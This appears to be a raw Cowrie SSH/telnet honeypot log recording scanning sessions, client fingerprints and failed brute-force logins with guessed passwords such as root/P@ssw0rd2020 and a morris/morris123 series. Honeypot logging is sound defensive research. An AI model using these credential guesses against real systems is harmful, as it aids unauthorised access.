{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:32:02:66:55:d4:9a:80:f7:57:e2:73:ee:dc:ad:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtmffUZA9CTbhdjezixoZzn8UtS5uToyGMNSUvO2J1juuqLlrYGgOB4M/uFmF22PaoChLxT2r3YhMmino9cHjcxD5XSc6vBCCPKOxvoADCjy4gyJt8MREzccZO3ZPj46w+E4ETDoZMZfK/3C/CYz9sWzoUMpA1aPrWOgzRdA6Jot4bh7FDrX3M2b9+VX1Rz7D4MRhe6L+/uv1odI2ZXDw+g1uXvBZiuGd4ADM8sJDh8xwUorAABsDx6icrAmYPLPpjttFWrbHsI6wYNZUiIdVdwQGXop1BMi4CyIVU3vlDjJgxlyLueLNi8FXUU4Y5m2kXg5+bTlzafF+5bQFjq5dKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.242162Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:72:2c:ec:e6:36:c2:5a:eb:6e:01:df:c0:74:b2:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTWFpA/UbqhKqO6OuBLUIrkhUkuru/Tzxx8KQOBgzWtt407BAY9jTt79STCeRIBRs8zJixN8bb2lB4BoO3STpP27+8tquAJijCTGg0KkMS5zhFPs0hrARU1W19ZDtjJDcXevj2PBCeyPuUFEX0ZM3dMeTFnylmT4/EZ77mOuQzkIasPvR83ldbz6QFoti+iDK6BQKV+OpIWohh+bkd2UnFUTD/Ny+R6//pOYX7s28FTw7Peqdm+jNmCxP7SrsIe6aD7aNgKbDHu6pT+mFX7xQlPHAXrs5DXH/zkn6JiYVZfgx1rIyBDOj8sAwAIdUidZbh/mEVDqCNFwpoxeSddPK1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:72:2c:ec:e6:36:c2:5a:eb:6e:01:df:c0:74:b2:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.311790Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:72:2c:ec:e6:36:c2:5a:eb:6e:01:df:c0:74:b2:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTWFpA/UbqhKqO6OuBLUIrkhUkuru/Tzxx8KQOBgzWtt407BAY9jTt79STCeRIBRs8zJixN8bb2lB4BoO3STpP27+8tquAJijCTGg0KkMS5zhFPs0hrARU1W19ZDtjJDcXevj2PBCeyPuUFEX0ZM3dMeTFnylmT4/EZ77mOuQzkIasPvR83ldbz6QFoti+iDK6BQKV+OpIWohh+bkd2UnFUTD/Ny+R6//pOYX7s28FTw7Peqdm+jNmCxP7SrsIe6aD7aNgKbDHu6pT+mFX7xQlPHAXrs5DXH/zkn6JiYVZfgx1rIyBDOj8sAwAIdUidZbh/mEVDqCNFwpoxeSddPK1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.327468Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:db:cc:1a:dc:f6:7b:37:c8:d2:f8:58:d5:b9:dd:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuvaMaYFA2Ag6orRGeDvHzk5uQt1TOwRWcQoe44EYc+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 68:db:cc:1a:dc:f6:7b:37:c8:d2:f8:58:d5:b9:dd:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.398601Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:db:cc:1a:dc:f6:7b:37:c8:d2:f8:58:d5:b9:dd:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuvaMaYFA2Ag6orRGeDvHzk5uQt1TOwRWcQoe44EYc+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.403277Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.473468Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":44042,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a9f045ce5a","protocol":"ssh","message":"New connection: 43.153.70.247:44042 (10.17.0.5:22) [session: 82a9f045ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:46.043820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:46.049362Z","src_ip":"43.153.70.247","session":"82a9f045ce5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:46.118328Z","src_ip":"43.153.70.247","session":"82a9f045ce5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shop1","message":"login attempt [root/shop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:46.424930Z","src_ip":"43.153.70.247","session":"82a9f045ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:47.500045Z","src_ip":"43.153.70.247","session":"82a9f045ce5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48938,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eea0b85284f","protocol":"telnet","message":"New connection: 152.42.224.71:48938 (10.17.0.5:23) [session: 8eea0b85284f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:00.270859Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":48290,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c3c827588e","protocol":"ssh","message":"New connection: 45.137.172.116:48290 (10.17.0.5:22) [session: 12c3c827588e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:09.241743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:09.246480Z","src_ip":"45.137.172.116","session":"12c3c827588e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:09.343400Z","src_ip":"45.137.172.116","session":"12c3c827588e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sue","message":"login attempt [root/sue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:09.762505Z","src_ip":"45.137.172.116","session":"12c3c827588e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":48660,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43cecf4794c","protocol":"ssh","message":"New connection: 43.173.84.253:48660 (159.203.135.109:22) [session: d43cecf4794c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:10.412800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:10.417971Z","src_ip":"43.173.84.253","session":"d43cecf4794c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:10.486360Z","src_ip":"43.173.84.253","session":"d43cecf4794c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2020","message":"login attempt [root/P@ssw0rd2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:10.793180Z","src_ip":"43.173.84.253","session":"d43cecf4794c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:10.863890Z","src_ip":"45.137.172.116","session":"12c3c827588e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:11.874828Z","src_ip":"43.173.84.253","session":"d43cecf4794c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"10be36dacb3f","protocol":"telnet","message":"New connection: 152.42.224.71:47548 (10.17.0.5:23) [session: 10be36dacb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:12.682789Z"}
{"eventid":"cowrie.session.closed","duration":45.10712027549744,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:13.423409Z","src_ip":"152.42.224.71","session":"48a1a371c91a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.207.25.178","src_port":38588,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3b35b67b0d","protocol":"telnet","message":"New connection: 115.207.25.178:38588 (10.17.0.5:23) [session: cd3b35b67b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:16.291137Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23121,"dst_ip":"10.17.0.5","dst_port":22,"session":"845b28682a64","protocol":"ssh","message":"New connection: 213.209.159.56:23121 (10.17.0.5:22) [session: 845b28682a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:16.714708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:16.727551Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:16.812348Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris","message":"login attempt [morris/morris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:17.215792Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris1","message":"login attempt [morris/morris1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:18.303384Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris123","message":"login attempt [morris/morris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:19.393516Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris1234","message":"login attempt [morris/morris1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:20.479300Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"morris","password":"morris12345","message":"login attempt [morris/morris12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:21.565082Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:22.651201Z","src_ip":"213.209.159.56","session":"845b28682a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":37828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4bf9d85634","protocol":"ssh","message":"New connection: 43.135.177.217:37828 (10.17.0.5:22) [session: 3b4bf9d85634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:23.531440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:23.535704Z","src_ip":"43.135.177.217","session":"3b4bf9d85634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:23.604639Z","src_ip":"43.135.177.217","session":"3b4bf9d85634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eagle1","message":"login attempt [root/eagle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:23.914700Z","src_ip":"43.135.177.217","session":"3b4bf9d85634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:24.988825Z","src_ip":"43.135.177.217","session":"3b4bf9d85634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.00541138648987,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:26.734314Z","src_ip":"152.42.224.71","session":"1eb322d0b3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.014021635055542,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:28.696698Z","src_ip":"152.42.224.71","session":"10be36dacb3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.3157057762146,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:29.606746Z","src_ip":"115.207.25.178","session":"cd3b35b67b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37936,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c6ea5d7fa98","protocol":"telnet","message":"New connection: 152.42.224.71:37936 (10.17.0.5:23) [session: 8c6ea5d7fa98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:46.537525Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":47518,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99f70df157e","protocol":"ssh","message":"New connection: 43.153.70.247:47518 (10.17.0.5:22) [session: e99f70df157e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:53.734978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:53.748895Z","src_ip":"43.153.70.247","session":"e99f70df157e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:53.817509Z","src_ip":"43.153.70.247","session":"e99f70df157e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r?","message":"login attempt [root/1q2w3e4r?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:54.123804Z","src_ip":"43.153.70.247","session":"e99f70df157e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:46:55.195764Z","src_ip":"43.153.70.247","session":"e99f70df157e","protocol":"ssh"}
